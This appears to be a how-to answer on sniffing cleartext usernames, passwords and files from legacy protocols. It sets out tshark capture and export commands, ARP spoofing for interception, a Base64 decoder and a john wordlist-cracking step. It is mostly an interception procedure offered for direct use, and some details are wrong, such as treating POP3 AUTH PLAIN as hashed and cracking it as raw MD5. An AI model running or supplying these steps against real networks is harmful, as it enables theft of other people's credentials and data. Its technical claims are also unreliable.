How to extract unencrypted files and credentials transferred over legacy cleartext network protocols?

Use Wireshark’s built‑in protocol dissectors together with tshark exports and credential‑cracking utilities to pull cleartext usernames, passwords, and files from legacy traffic.

1. Capture the relevant segment on a span port or via ARP‑spoofing:

tshark -i eth0 -w /tmp/clear.pcap -f "tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143"

2. Filter & export credentials with tshark:

tshark -r /tmp/clear.pcap -Y "ftp.request.command == \"USER\" || ftp.request.command == \"PASS\" || telnet || http.authbasic" -T fields -e frame.time -e ip.src -e ip.dst -e ftp.request.arg -e http.authorization > creds.txt

3. Extract files from cleartext protocols (e.g., FTP GET, HTTP GET):

tshark -r /tmp/clear.pcap -Y "ftp.request.command == \"RETR\" || http.request.method == \"GET\"" -T fields -e data.data > rawfiles.bin

4. Decode Base64 or URL‑encoded payloads if needed:

import base64, urllib.parse, sys
for line in sys.stdin:
    try:
        print(base64.b64decode(line.strip()))
    except Exception:
        print(urllib.parse.unquote(line.strip()))

5. Crack weak passwords extracted from protocols that only transmit hashes (e.g., POP3 AUTH PLAIN):

john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 creds.txt

Protocol vs. Credential location
| Protocol | Username field | Password field |
|----------|----------------|----------------|
| FTP | USER command | PASS command |
| Telnet | plain text after login prompt |
| HTTP (Basic) | Authorization: Basic (Base64) |
| POP3/IMAP (AUTH PLAIN) | Base64‑encoded \0user\0pass |
| SMTP (AUTH LOGIN) | Base64‑encoded separate lines |

Gotcha: On a switched LAN you will only see traffic destined to or from the capture host unless you enable port mirroring or perform ARP poisoning; missing the mirror will yield incomplete credential sets.